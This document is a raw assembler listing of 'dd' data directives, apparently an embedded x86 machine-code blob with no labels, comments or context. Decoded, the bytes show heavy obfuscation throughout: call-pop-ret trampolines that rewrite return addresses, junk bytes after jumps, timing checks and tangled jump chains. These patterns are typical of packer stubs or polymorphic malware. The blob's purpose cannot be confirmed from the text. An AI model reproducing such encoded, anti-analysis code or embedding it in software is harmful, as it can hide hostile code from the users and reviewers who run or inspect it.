		dd 4245489h, 4244481h, 15h, 0C35242h, 6810F07h,	31000000h
		dd 0E91DC98Dh, 26CB8105h, 8044F145h, 6A04E1h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0F01375C3h
		dd 8DDFF79Ah, 0BD8970ADh, 5E912ADh, 2F999D8Bh, 0C90A05E9h
		dd 158840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 8B1279C3h, 0E9286985h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 5427693Fh, 8B96E380h, 0E931CDBDh, 61853305h,	6A05E90Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 4183C350h, 89FA8B50h, 6A2404h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 180424h, 56460000h, 213A2FC3h
		dd 6A43E0h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 1Ah,	0E8C35343h, 0C83B9DF7h,	616843E2h, 0E8FCE300h
		dd 10h,	0B5F692B4h, 2459909Eh, 4C4B8793h, 9856C18Ah, 0BE8h
		dd 0BC706700h, 94D2B5D2h, 5E47EFE7h, 5F5B5F50h,	9E240481h
		dd 0F033C03h, 0A8Dh, 0BF0F6000h, 190ABED7h, 0FF616A7Eh
		dd 0E9292D95h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 40906F91h, 8166FEDAh
		dd 892CA8C7h, 0ECBACE85h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E98AFD36h
		dd 213h, 10ADB531h, 858B05E9h, 5ECBAC6h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 0A5C35545h, 0C1B589BDh
		dd 2B05E902h, 0E90C09BDh, 0C7F805h, 18h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 18h, 4FC35242h, 98C6702h
		dd 13E9h, 0CC87BE00h, 0C41E5F50h, 6388631Ch, 993E69D4h
		dd 1D424CA3h, 0BACAB58Bh, 0D38005ECh, 39858B3Ch, 0F05E92Fh
		dd 686h, 5DBD8B00h, 8905E90Fh, 53006A06h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 693B5CD4h
		dd 0E18D894Bh, 8B05E92Ah, 0E9286985h, 0A5BD2905h, 8905E910h
		dd 0E90AAD9Dh, 4468905h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 9EC35141h, 40C24B1Dh,	9D8B5F1Ch, 5E9264Dh
		dd 0DE8B6650h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0ECCFC355h,	0F94F54Ch
		dd 86h,	0C6B5FF00h, 6A05ECBAh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 3170C355h, 8BCD1675h
		dd 36268FEh, 5160FAFEh,	0E858DF8Bh, 13h, 662C3B31h, 0C3D2537h
		dd 55A1672Dh, 4DD0210Ah, 0E81974F0h, 0Bh, 0AAF878F8h, 22369F09h
		dd 5F323DFBh, 481615Ah,	21009D24h, 0FB8B6605h, 8D64C380h
		dd 0ECBACE85h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 50D2791Bh, 0C8BFA025h
		dd 1E6DBD8Bh, 669005E9h, 5050FB8Bh, 0D98B6652h,	12E8310Fh
		dd 0DF000000h, 0E3E0423h, 9EE75DB3h, 52152892h,	66EF60C6h
		dd 0EB57BF00h, 5A5F53B5h, 6A9058h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 66EE93C3h, 0FF5008BFh
		dd 0E9292D95h, 0E59D8B05h, 6105E905h, 85C7FB8Bh, 5E9163Dh
		dd 3, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h, 19h
		dd 0F1C35343h, 0F81E2B24h, 0CEBD83E0h, 5ECBAh, 54840Fh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 989D42C3h, 0A0228DF2h, 0F88B91D2h, 2B718D89h
		dd 3EE905E9h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0ED49C351h,	2018FD0Ch
		dd 30500AA6h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 0ADBD01C0h, 0F05E91Dh, 6AD9B7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 83C0ADC3h
		dd 0E9163DBDh, 850F0305h, 3C7h,	5318589h, 0BD8305E9h, 5ECBACEh
		dd 0B4840F00h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 26DDC357h, 0B5FFE03Fh
		dd 5ECBACEh, 2B7595FFh,	9D8B05E9h
		dd 5E932F5h, 0BAC2B58Bh, 55B705ECh, 106C7h, 0BF660001h
		dd 895088BEh, 0B602434h, 0E9170985h, 5CD8BB05h,	0FF612077h
		dd 0ECBACEB5h, 0DB58905h, 0FF05E902h, 0E92B4D95h, 0A98D0105h
		dd 8B05E917h, 0ECBAC2B5h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 44E66D82h
		dd 0B8F2256Ah, 0BD8905EDh, 5E905F9h, 0FAF38166h, 0DD858BF1h
		dd 6A05E90Fh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 6194C356h, 0A4DBA623h,	959D0334h
		dd 8905E903h, 0C486h, 0C1952900h, 8B05E926h, 0E9265595h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 217CDDCFh, 4C549212h, 0BB66DA5Dh, 7BBEDF9h
		dd 8330F721h, 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 9D8BE6C3h, 5E91DFDh, 6880FF5h, 89000000h
		dd 0E91DAD9Dh, 20508905h, 0D602BB66h, 0D055858Dh, 6A05ECh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0D1A80CC3h, 0D6C50C3h, 0BDB58952h, 5B05E90Eh, 895ED380h
		dd 0B886h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 6A7F92h, 0BACEB5FFh, 4BF05ECh, 0FF0BF93Ah
		dd 0E900AD95h, 11E905h,	37030000h, 0E67CAC98h, 9CA1BC35h
		dd 0CA94F719h, 500E20B0h, 4830Fh, 60510000h, 34895B61h
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8BEE6CDBh, 0E92BC1BDh, 0CEB5FF05h, 6A05ECBAh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0F797C350h, 0AE9h, 0B463C00h, 15811334h
		dd 0FFC49E41h, 0E9323195h, 0E98D0105h, 8305E92Ah, 0E92AB1BDh
		dd 840F0005h, 48h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0BEC35040h, 0F5790434h, 3A97029Fh, 0E86096F9h
		dd 0Eh,	60755381h, 0E8175784h, 14F799AAh, 0F18A06F8h, 8B50615Ah
		dd 8D3196DAh, 5E917E9h,	0BACEB5FFh, 6A05ECh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0F4401C3h
		dd 0DE8B3720h, 2F6195FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0F43F9AC3h, 0B5FFF059h
		dd 5ECBACEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	48C35343h, 12A0627Ch, 658070DBh, 6219D89h, 0DF8105E9h
		dd 7468DE0Bh, 2DC595FFh, 9D0B05E9h, 5E92CC9h, 3FDBD83h
		dd 0F0205E9h, 5B84h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9D8B4F73h, 5E905FDh, 3055858Bh
		dd 6A05E9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0DE3AEAC3h, 8880Fh, 8B560000h, 0E90219BDh
		dd 0C65B05h, 0FE8B6600h, 27A985C7h, 5E9h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 15F54FC3h, 0FD1DB01Dh, 0E9EA313Fh, 0FFFFF31Bh, 8BD88B66h
		dd 58531C1h, 8D05E92Dh,	0E921E585h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 4D68E934h
		dd 665029F8h, 905BDF8Bh, 5E8h, 0DA72BC00h, 0BB66A108h
		dd 505B42F6h, 749581BFh, 6A905Fh, 1480BF66h, 9589006Ah
		dd 5E91679h, 5984858Dh,	858905EDh, 5E90E91h, 6A05C083h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 7FBCC352h, 0CE8h,	8FC78800h, 354D7FBAh, 96BC9451h
		dd 0FDBD8B94h, 5F05E904h, 0D189BB50h, 4891A06h,	0D58A6024h
		dd 6A006A61h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 6071C351h, 0AE8F9h, 0BAC20000h
		dd 2D78F3B4h, 0EFCB69BBh, 5FF9B70Fh, 0F8D78061h, 0BB66006Ah
		dd 95FF977Fh, 5E90AA1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 0E9C35747h, 0BF8D8D5Dh, 0FF05ECADh, 0D1B501D1h
		dd 8305E921h, 0E901BDBDh, 850F0105h, 85h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 56C35040h, 76ADEF81h
		dd 26A60EAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	70C35545h, 0FC8A5FB7h, 52605190h, 615B5659h, 8B90505Bh
		dd 0E90AA9BDh, 41858905h, 0FF05E916h, 0E900AD95h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 601CD3F3h, 0B70FCAE5h, 0CA4E9F9h, 0E80000h, 5D000000h
		dd 598EED81h, 7E805EDh,	27000000h, 0D932F227h, 5E95FC0h
		dd 0E2000000h, 0E57BB00Bh, 8DFE8A5Fh, 0EC904B85h, 51006A05h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 973238D3h, 915BD2Bh,	505005E9h, 0FF88B52h, 89585A31h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0A095BFC3h, 6E177D8Fh, 6600B7EDh,	0B466CB81h
		dd 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0F4A0C353h,	2850F18h
		dd 8B000000h, 0B880FF8h, 0F000000h, 582h, 0F7816600h, 8964029Fh
		dd 25h,	0E781F500h, 13A1B6F0h, 68985FFh, 0F38105E9h, 3400606Dh
		dd 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 88017EC3h, 0DA8B6641h, 31D5B5FFh,	6A05E9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 807FD7C3h, 0BD31279Ah, 5E930C9h, 7C995FFh, 0E0E905E9h
		dd 0F000000h, 58Eh, 0CEE6BF00h,	0B07127h, 816670E6h, 0E4CCCEDFh
		dd 0F613C71h, 0C283h, 0D3816600h, 0B60FA9BFh, 0B70F51C8h
		dd 6BA5BFBh, 89000000h,	0E91EAD95h, 0FC18B05h, 68Eh, 0E5958900h
		dd 0F05E903h, 0E8C1FFB7h, 39BD8B04h, 6605E90Dh,	0BE9E2F7h
		dd 1C000000h, 0DE0BC045h, 29B74385h, 0C82B24F7h, 96ACBB66h
		dd 32699D8Bh, 0D18B05E9h, 2B39BD0Bh, 2E905E9h, 8A000000h
		dd 0D5858BDDh, 8B05E910h, 7C083D8h, 27F19D8Bh, 0C08305E9h
		dd 0FAB70F00h, 830FD03Bh, 0Bh, 17E19D8Bh, 38E905E9h, 8B000000h
		dd 0E926BD8Dh, 8D895305h, 5E90AE5h, 1E1835Fh, 21840Fh
		dd 85010000h, 5E9021Dh,	26BDA583h, 89FE05E9h, 0E910D595h
		dd 0FAB70F05h, 2D119D8Bh, 0E905E9h, 8D000000h, 0ECEB01B5h
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 65BD8B8Eh, 6A05E91Eh, 96D78100h,	0E906BEFBh
		dd 14h,	868CAE6Fh, 97F3E1E2h, 5AA88FA5h, 0FE33CF27h, 365842E9h
		dd 1E9595FFh, 6A05E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 33F1ACC3h, 0B9C5ED78h, 8E5h, 2A799589h
		dd 0E18305E9h, 53006AFCh, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 717F0EB2h, 34DAD632h
		dd 6AFCF98Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0AD68C357h, 11E960h,	0EE40000h, 103C8F79h, 4FFF5504h
		dd 0BCF0854Dh, 89B9C752h, 0E931A59Dh, 0B86105h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 8C01C355h, 716FF863h, 2B28B782h, 53006AD2h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0F930DBD2h, 0C233AD7Ah, 0D003E8D1h, 7504E983h, 56006AF4h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 72BFCA8Dh, 0FD9D8B8Bh, 0D05E907h, 88h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 18h, 0D0C35545h, 1C7DB200h
		dd 118D0Fh, 0CE90000h, 74000000h, 14BAA2C6h, 0B789D0FDh
		dd 8997871Fh, 0E9289D85h, 55958B05h, 6A05E926h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0B92EC351h, 27E35307h, 0BB664F3Eh, 8D8BC3C9h, 5E90805h
		dd 66C78166h, 0F8B70FD9h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 0F88B5818h, 6AFA8Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0DAA226C3h, 0BF0F1E58h
		dd 8B0F60FFh, 1, 0F6BF66F5h, 0BD8361A4h, 5E91CF1h, 9A840F00h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 523AC357h, 0D361E4E5h,	11E96Ah
		dd 1CFE0000h, 0B79B4FBDh, 0D8941D11h, 5A6A33FBh, 81FC3BE1h
		dd 0F98F5BDFh, 0B876h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0DC77F8C3h, 0F58E5BEh
		dd 683h, 70F38100h, 8D64CB26h, 0E94E6D8Dh, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 0C8F83675h, 0B70FE1FFh, 3DBD83D8h, 5E916h, 31F840Fh
		dd 9D310000h, 5E90695h,	163DBD83h, 0F0105E9h, 32784h, 0AE800h
		dd 2C740000h, 14668B89h, 364F82D9h, 12E9h, 0EC8CDC00h
		dd 0C776B29Bh, 0D42F64DDh, 0C60F3AC5h, 5B6084DBh, 104DB501h
		dd 0BD8305E9h, 5E9163Dh, 0B7860F03h, 81000002h,	0C3154ACBh
		dd 10E8604Fh, 24000000h, 12C07615h, 5F16F73Bh, 0FCCF484h
		dd 0BBA160B8h, 5F4C416Fh, 0D98C665Fh, 4E180F8h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E8C35242h, 0FD5ADEC6h
		dd 21BD0B46h, 8B05E92Bh, 0E90CB5BDh, 0FC90A05h,	0EF84h
		dd 0F98D8900h, 8B05E900h, 0E9286985h, 844BB05h,	85330711h
		dd 5E90E61h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0F5C35343h, 0F9001F8h, 84h, 0BF665000h,	6A9021DFh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 8964C353h, 6D66F2D3h, 9A883442h, 81006AF8h
		dd 5520F8EBh, 6870F4Dh,	8B000000h, 0E90031BDh, 1F86805h
		dd 12E93486h, 0B9000000h, 8B616C04h, 0BA2DF1FEh, 5B8BAC15h
		dd 0C95E453Ah, 2434817Dh, 34990207h, 12058D89h,	95FF05E9h
		dd 5E9292Dh, 21C9BD8Bh,	858905E9h, 5ECBACEh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EBC35343h, 4830F52h
		dd 66000000h, 8B6488BFh, 0E927C5BDh, 0F4E905h, 0BD230000h
		dd 5E93109h, 0BAC6858Bh, 0E78005ECh, 1800C7FEh,	8B000000h
		dd 0E932A9BDh, 0CAB58B05h, 6A05ECBAh, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 19A0C352h
		dd 0FF0033h, 2F39858Bh,	0BD2B05E9h, 5E929F1h, 89DF8B66h
		dd 64CF8006h, 8BFB8B66h, 0E9286985h, 896DB305h,	0F5560446h
		dd 0FB8B505Bh, 66243489h, 0FF397FBFh, 0ECBAC6B5h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 8FF5E9CBh, 50AF8978h, 6269D5BBh, 91B52931h, 6805E905h
		dd 0AA754874h, 481FE8Bh, 0A9BB8B24h, 8B0F55h, 8D000000h
		dd 0ECBACE85h, 3D853105h, 5005E92Bh, 0F240489h,	28Ah, 0FFDE8B00h
		dd 0E9292D95h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8B61A5BBh, 3D85C7DEh
		dd 305E916h, 0F000000h,	484h, 91BB6600h, 0CEBD8387h, 5ECBAh
		dd 58840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 9E8AE3C3h, 54C1C5Fh, 0CC5B501h
		dd 46E905E9h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 16AEC355h, 109D9589h
		dd 296005E9h, 0E92EFD85h, 30506105h, 4400110Ch,	0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 62356433h
		dd 0DF11E99Fh, 0F50EBA7h, 68Bh,	0E19D8900h, 5B05E917h
		dd 28319509h, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BF0F19C3h, 3DBD83DEh, 305E916h
		dd 3AB850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0F2BBCC3h, 688h,	0D19D8B00h, 8905E900h
		dd 0E910C585h, 0CEBD8305h, 5ECBAh, 36F840Fh, 85890000h
		dd 5E92FE5h, 0BACEB5FFh, 6A05ECh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0BD2B16C3h, 5E90CC5h
		dd 2B7595FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 30F0C9C3h, 66B6F824h, 0F42F0BFh
		dd 0B58BF9B7h, 5ECBAC2h, 6C70BB7h, 10001h, 22998D09h, 609605E9h
		dd 1524B966h, 12E9h, 857A5A00h,	0BCB0F6E7h, 1A59AE92h
		dd 333945E7h, 61B8AB20h, 52506050h, 310F6160h, 310F5250h
		dd 585A585Ah, 6A9661h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 10D608C3h, 0F3A459Eh, 686h, 4DBD8B00h
		dd 8905E928h, 0E915E595h, 0CEB5FF05h, 2905ECBAh, 0E903A9BDh
		dd 4D95FF05h, 8105E92Bh, 0BE645CCFh, 0C2B58B66h, 6A05ECBAh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 8F53C352h, 2CB388F6h, 0CE9h, 0A5091000h
		dd 668C0E41h, 883F3E97h, 0DD858BBFh, 6A05E90Fh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 0ECC7C350h, 0BE78166h, 0C4868976h, 0F000000h, 0D781D8BFh
		dd 2FE4B490h, 2655958Bh, 6A05E9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 89A3EAC3h, 0E90F55BDh
		dd 4C28305h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	7CC35545h, 9D8B996Ch, 5E9068Dh,	2BED8D89h, 508905E9h
		dd 52006A20h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 858D2880h, 5ECD055h, 4A18D31h, 868905E9h
		dd 0B8h, 11E993B7h, 4000000h, 0F642E7D1h, 56B100E5h, 4ADAE448h
		dd 0D43FBC8h, 8589006Ah, 5E903BDh, 0D0F7EF81h, 0B5FF63ADh
		dd 5ECBACEh, 0F9D9B70Fh, 0AD95FFh, 6A05E9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 768D1EC3h
		dd 8BCC3068h, 0F96EE3Bh, 38Fh, 0FB8B6600h, 3799BF50h, 0E9967EDCh
		dd 5, 8BFC7EDAh, 0CEB5FF8Bh, 6A05ECBAh,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0EC04C351h
		dd 6D150533h, 323195FFh, 816605E9h, 832FD4CBh, 0E92AB1BDh
		dd 840F0005h, 44h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 53C35343h, 13E903h, 0A17A0000h, 0C9BBCD72h
		dd 0B57F3250h, 669A895Dh, 0E4A52A05h, 0E4CF8021h, 893FB750h
		dd 0BD8B2434h, 5E90809h, 0BACEB5FFh, 0BE905ECh,	80000000h
		dd 4725C1EBh, 0AF2B2354h, 95FF70E2h, 5E92F61h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0AC35545h, 266915Ch
		dd 0BD8BA9D8h, 5E903D9h, 2698589h, 0B5FF05E9h, 5ECBACEh
		dd 46E5EF81h, 0CCBF3C0Bh, 0FF02A244h, 0E92DC595h, 7EDABB05h
		dd 0B70F7F85h, 0FDBD83D9h, 205E903h, 12840Fh, 8D290000h
		dd 5E90F09h, 3055858Bh,	0C605E9h, 0F8B70F00h, 27A985C7h
		dd 5E9h, 8B660000h, 0F486E9FBh,	6AFFFFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 1AF36EC3h
		dd 96E98D9h, 0E90901B5h, 3EBF6605h, 6AC18BF8h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0E12C350h, 858DA59Fh, 5E921E5h, 0DE8h, 0C6E3A400h, 1307F957h
		dd 67A6B74Ah, 9D8B2050h, 5E90619h, 0EE9905Bh, 2E000000h
		dd 0B6035D37h, 4179F87Dh, 0AA622E9Ah, 8F0F50CBh, 6, 8B616060h
		dd 6A9061F2h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0F66C357h, 64B51432h, 198D8987h
		dd 0F05E90Dh, 9589F8B7h, 5E90BADh, 8D0F006Ah, 6, 3F98589h
		dd 6A05E9h, 17858589h, 858D05E9h, 5ED683Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0A2C35040h, 0EE9h
		dd 32A2CE00h, 0DD1535A9h, 138DBDFAh, 83D16008h,	0BD8B05C0h
		dd 5E92BC1h, 0DA8B6650h, 6A240489h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 476DC355h
		dd 0F19D8B60h, 8905E905h, 0E907999Dh, 0BD8B6105h, 5E92955h
		dd 13E8006Ah, 9000000h,	0EAA7F8EBh, 0DCA87175h,	2B255D79h
		dd 0C90DDAB9h, 5FF57842h, 0FFF9006Ah, 0E90AA195h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0BF8D8D8Fh, 6A05ECADh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 0EB3DC355h,	8929E8ECh
		dd 0E930F5BDh, 8BD1FF05h, 0BDBD83F9h, 105E901h,	94850Fh
		dd 9D8B0000h, 5E92951h,	6A026Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 9BFB7C3h, 0F84CF41Dh
		dd 0DE8B5350h, 2404895Fh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 8EC35040h, 0B6B44FF0h, 0FFF88AA8h, 0E900AD95h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 39EA62Ch, 0F604369h, 0E84h, 9E900h, 53890000h
		dd 5031A3Dh, 0B1B935A5h, 0C8E96114h, 0E800000Dh, 0
		dd 47ED815Dh, 0E805ED68h, 0Eh, 0BC5C72Eh, 0CACB6EADh, 5E4B90Dh
		dd 0E7B33CF0h, 57006A5Fh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 8637B1E3h, 7810Fh, 66570000h
		dd 0BCF7D381h, 4B858D5Bh, 8105EC90h, 8E48FAE7h,	8B66906Eh
		dd 880F50FBh, 19h, 0D0B96660h, 0EE905h,	48B40000h, 0E3DBC3E2h
		dd 70A39D2Fh, 62D9B458h, 1BBF9061h, 64759E9Fh, 35FFh, 9D010000h
		dd 5E93299h, 2ABD9D8Bh,	896405E9h, 25h,	50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
		dd 0E007C0F1h, 8A204CE9h, 3850Fh, 8B660000h, 0B59D8BF9h
		dd 0FF05E906h, 0E9068985h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 470679A7h
		dd 744FB07Fh, 5E8019Eh,	0F6000000h, 0B5D754DBh,	22E59D23h
		dd 6A5F05E9h, 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0DB027B37h, 8DE341C0h, 0DABF0F69h
		dd 257DB5FFh, 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 14257CC3h, 1CE6F556h, 119D8B05h
		dd 0FF05E905h, 0E907C995h, 138E905h, 0FB8B0000h, 109D9D8Bh
		dd 0B005E9h, 89DE8B66h,	0E9034585h, 6070E605h, 2D519589h
		dd 0EE905E9h, 41000000h, 0AE9F31BAh, 0A3DE013Ch, 0D927546Bh
		dd 71E46123h, 27F9BD8Bh, 613C05E9h, 0F8830Fh, 0CE80000h
		dd 0EC000000h, 7D8E0234h, 442CC140h, 66229248h,	0F5BF88Bh
		dd 8B66C8B6h, 6BADEh, 0BD8B0000h, 5E91815h, 0EE8h, 337D5300h
		dd 7D73DD24h, 6DF23813h, 5F951C56h, 0FE9C18Bh, 0BE000000h
		dd 0EC2CA9FBh, 522D593Bh, 0AD1ADF0Eh, 0E8C17587h, 5E904h
		dd 48FE0000h, 6613C71Ch, 2BF5E2F7h, 0D98B66C8h,	0B589D18Bh
		dd 5E90729h, 3E9h, 0D88B6600h, 2829858Bh, 0B70F05E9h, 7C083DBh
		dd 0A9B58B60h, 0F05E925h, 285h,	61616000h, 2900C083h, 0E919859Dh
		dd 0FD03B05h, 2283h, 0E7816600h, 4BE982F9h, 0E9000000h
		dd 13h,	0A2216CC4h, 75C4BDFBh, 3CFCA92Bh, 159F7ECFh, 8BB50FFFh
		dd 0E901E58Dh, 1E18305h, 24840Fh, 0B5290000h, 5E917C5h
		dd 2DD99509h, 0A58305E9h, 5E901E5h, 0A59501FEh,	8905E923h
		dd 0E9282995h, 0E905h, 0B58D0000h, 5ECF4D9h, 2A71BD0Bh
